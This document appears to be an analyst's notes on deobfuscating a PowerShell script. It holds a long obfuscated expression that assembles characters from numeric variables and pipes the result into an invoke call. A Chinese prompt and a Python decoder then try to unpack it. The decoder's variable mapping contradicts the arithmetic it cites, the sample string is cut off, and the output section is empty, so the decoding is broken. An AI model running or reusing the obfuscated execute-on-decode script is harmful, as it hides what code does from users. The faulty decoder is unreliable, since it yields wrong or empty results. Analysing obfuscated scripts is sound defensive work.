$b$x+$g$b$u$o+$g$i$u+$g$l$e+$g$b$b$o+$g$b$b$x+$g$b$u$d+$g$l$e+$g$b$u$i+$g$e$i+$g$l$e+$g$b$u$l+$g$b$u$b+$g$o$u+$g$z$o+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$z$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$b$d+$g$b$u$o+$g$b$b$e+$g$b$b$x+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$z$q+$g$o$e+$g$b$b$d+$g$z$q+$g$o$e+$g$b$b$x+$g$z$q+$g$d$o+$g$o$i+$g$o$i+$g$z$q+$g$x$q+$g$z$x+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i+$g$z$q+$g$d$u+$g$x$q+$g$z$i+$g$o$l+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$x$e+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$u$i+$g$b$b$b+$g$x$d$z$e$o+$g$o$u+$g$i$e$z$x+$g$b$i$z+$g$l$x$l+$g$x$u+$g$z$q+$g$o$b+$g$i$l$e$i+$g$l$e$z$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$b$x+$g$l$e+$g$b$b$o+$g$b$b$x+$g$i$u+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$e+$g$l$e+$g$b$b$u+$g$b$b$e+$g$l$e+$g$b$u$i+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$q+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$b$u$d+$g$b$b$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$l$e+$g$b$u$i+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$o$u+$g$d$d+$g$d$u+$g$o$i+$g$o$o+$g$z$q+$g$d$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$x+$g$b$b$b+$g$b$b$o+$g$b$u$u+$g$b$u$b+$g$b$b$o+$g$i$z+$g$b$b$x+$g$b$q$b+$g$b$u$i+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$u+$g$b$u$d+$g$b$q$u+$g$b$u$b+$g$b$u$u+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$x+$g$l$e+$g$l$l+$g$b$u$e+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$d+$g$o$i+$g$o$i+$g$d$d+$g$d$d+$g$x$e+$g$x$e+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$e$e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$e$u+$g$l$e+$g$b$u$i+$g$b$b$d+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$b$b+$g$b$b$q+$g$e$e+$g$b$b$b+$g$b$b$d+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$x+$g$e$z+$g$e$x+$g$x$e+$g$i$o+$g$e$u+$g$b$q$z+$g$d$x+$g$x$l+$g$l$d+$g$b$b$i+$g$b$u$i+$g$b$u$z+$g$e$z+$g$e$x+$g$x$d+$g$b$b$u+$g$d$d+$g$l$d+$g$x$o+$g$d$o+$g$l$e+$g$e$z+$g$e$i+$g$d$z+$g$b$b$x+$g$l$d+$g$i$u+$g$e$q+$g$e$z+$g$i$z+$g$e$q+$g$e$z+$g$b$b$u+$g$b$u$z+$g$b$q$d+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$i+$g$o$i+$g$b$b$q+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$d$i+$g$o$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$b$b$b+$g$b$u$i+$g$l$e+$g$b$b$d+$g$z$o+$g$o$o+$g$z$q+$g$d$o+$g$d$q+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$x$i$q$d+$g$z$e$z$q$o+$g$q$e$i$u$l+$g$q$x$z$e$e+$g$z$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$x$d$z$u$e+$g$z$x$i$q$d+$g$q$u$u$b$u+$g$z$b$z$i$z+$g$q$b$o$e$d+$g$q$x$b$d$l+$g$q$o$d$l$u+$g$q$u$u$o$u+$g$q$u$l$i$x+$g$q$l$x$b$x+$g$z$u$z$o$u+$g$q$b$x$u$q+$g$x$d$q$l$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$z$q+$g$q$z$x$u$b+$g$q$q$z$b$q+$g$z$e$u$q$e+$g$z$e$z$q$o+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i)  "  |  .$r

编写脚本解析：

import re

def decode_ps_concat(concat_expr):
    r = 0
    u = r           # $u = $r
    b = r + 1       # $b = ++$r
    q = r + 2       # $q = $r += $b
    z = r + 3       # $z = $r += $b
    o = r + 4       # $o = $r += $b
    d = r + 5       # $d = $r += $b
    h = r + 6       # $h = $r += $b
    e = r + 7       # $e = $r += $b
    i_val = r + 8   # $i = $r += $b
    x_val = q * z   # $x = $q * $z = 6
    l_val = r + 9   # $l = $r += $b
    g_val = " "

    variables = {
        'g': g_val,
        'z': z,        # 3
        'x': x_val,    # 6
        'i': i_val,    # 8
        'b': b,        # 1
        'u': u,        # 0
        'l': l_val,    # 9
        'q': q,        # 2
        'e': e,        # 7
        'o': o,        # 4
        'd': d,        # 5
        'h': h,        # 6
        'u': u,        # 0
    }

    concat_expr = re.sub(r'\s+', '', concat_expr)
    parts = concat_expr.split('+')

    result = ""
    for part in parts:
        if not part.startswith('$'):
            continue
        var_names = [m.group(1) for m in re.finditer(r'\$(\w)', part)]
        for var in var_names:
            if var in variables:
                result += str(variables[var])
            else:
                result += f"{{{var}}}"
    return result

def main():
    concat_expr = "$g$z$x+$g$x$i+$g$b$u$b+$g$l$i+$g$b$b$e+$g$b$u$z+$g$i$u+$g$b$b..."
    decoded = decode_ps_concat(concat_expr)
    print(decoded)

if __name__ == "__main__":
    main()

输出：

